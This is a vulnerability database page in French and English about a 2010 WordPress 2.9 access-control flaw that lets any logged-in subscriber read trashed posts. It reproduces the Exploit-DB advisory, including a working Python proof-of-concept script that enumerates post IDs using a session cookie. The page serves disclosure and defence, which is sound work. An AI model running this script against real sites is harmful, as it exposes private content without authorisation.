Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-264 |
Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
4 |
|
AV:N/AC:L/Au:S/C:P/I:N/A:N |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 11441
Date de publication : 2010-02-12 23h00 +00:00
Auteur : tmacuk
EDB Vérifié : Yes
WordPress >= 2.9 Failure to Restrict URL Access
http://www.thomasmackenzie.co.uk/
1. *Advisory Information*
Title: WordPress >= 2.9 Failure to Restrict URL Access
Date published:
2. *Vulnerability Information*
Class: Failure to Restrict URL Access
Remotely Exploitable: Yes
Locally Exploitable: Yes
3. *Software Description*
WordPress is a state-of-the-art publishing platform with a
focus on aesthetics, web standards, and usability. WordPress
is both free and priceless at the same time. [0]
4. *Vulnerability Description*
Frequently, the only protection for a URL is that links to that page
are not presented to unauthorized users. Security by obscurity is
not sufficient to protect sensitive functions and data in an application.
Access control checks must be performed before a request to a sensitive
function is granted, which ensures that the user is authorized to access
that function. [1]
5. *Vulnerable packages*
Versions >= 2.9
6. *Non-vulnerable packages*
Versions < 2.9
7. *Vulnerability Overview*
Since version 2.9 a new feature was implemented so that users
were able to retrieve posts that they may have deleted by accident.
This new feature was labeled 'trash'. Any posts that are placed within
the trash are only viewable by authenticated privileged users.
8. *Technical Description*
When WordPress implemented the new feature they failed to change the
permissions granted when the post is in the trash. This means that
an unauthenticated user cannot see the post, however an authenticated
user can no matter what privilege's they have, even 'subcriber'.
"Subscriber [User Level 0] - Somebody who can read
comments/comment/receive news letters, etc." [2]
9. *PoC*
#/usr/bin/python
#
# WordPress > 2.9 Failure to Restrict URL Access PoC
#
# This script iterates through the WP post ID's as an authenticated
and unauthenticated user.
# If the requests differ a 'Trash' post has been found.
#
# You will need an authenticated user cookie of any privilege to run
this script.
#
# Example cookie:
# wordpress_logged_in_62b3ab14f277d92d3d313662ea0c84e3=test%7C1266245173%7C990157a59700a69edbf133aa22fca1f8
#
# Will only work with WP URLs with the '/?p={int}' parameter. Would
need to handle redirects (3xx) to handle all URL types.
#
#
# Research/PoC/Advisory By: Tom Mackenzie (tmacuk) and Ryan Dewhurst
(ethicalhack3r)
import httplib
# Declare vars
blogURL = "www.example.com"
userCookie = "ENTER_COOKIE_HERE"
postID = 0 #Leave at 0
conn = httplib.HTTPConnection(blogURL)
Headers = {"Cookie" : userCookie}
print
print "Target = http://" + blogURL + "/?p=" + str(postID)
print
while 1:
# Start non authenticated enumeration
request = '/?p=' + str(postID)
conn.request("GET", request, "")
try:
r1 = conn.getresponse()
except:
print "Connection error"
data1 = r1.read()
# Start authenticated enumeration
conn.request("GET", request, None, Headers)
try:
r2 = conn.getresponse()
except:
print "Connection error"
data2 = r2.read()
# Compare the HTML body reponses
if data1 != data2:
print "+ Found! http://" + blogURL + request
else:
print request
postID += 1
conn.close()
10. *Credits*
Thomas Mackenzie (tmacuk) - http://www.thomasmackenzie.co.uk/
Original finder and tester.
Ryan Dewhurst (ethicalhack3r) - http://www.ryandewhurst.co.uk/
PoC creation and analysis.
Arron Finnon (f1nux) - http://www.finux.co.co.uk/
Helped with documentation.
Matthew Hughes - http://www.matthewhughes.co.uk/
Helped with documentation.
Robin Wood (digininja) - http://www.diginija.org/
Helped identify the vulnerability type.
11. *References*
[0] http://wordpress.org/
[1] http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
[2] http://codex.wordpress.org/Roles_and_Capabilities
Products Mentioned
Configuraton 0
Wordpress>>Wordpress >> Version 2.9
Wordpress>>Wordpress >> Version 2.9.1
Wordpress>>Wordpress >> Version 2.9.1
Wordpress>>Wordpress >> Version 2.9.1
Références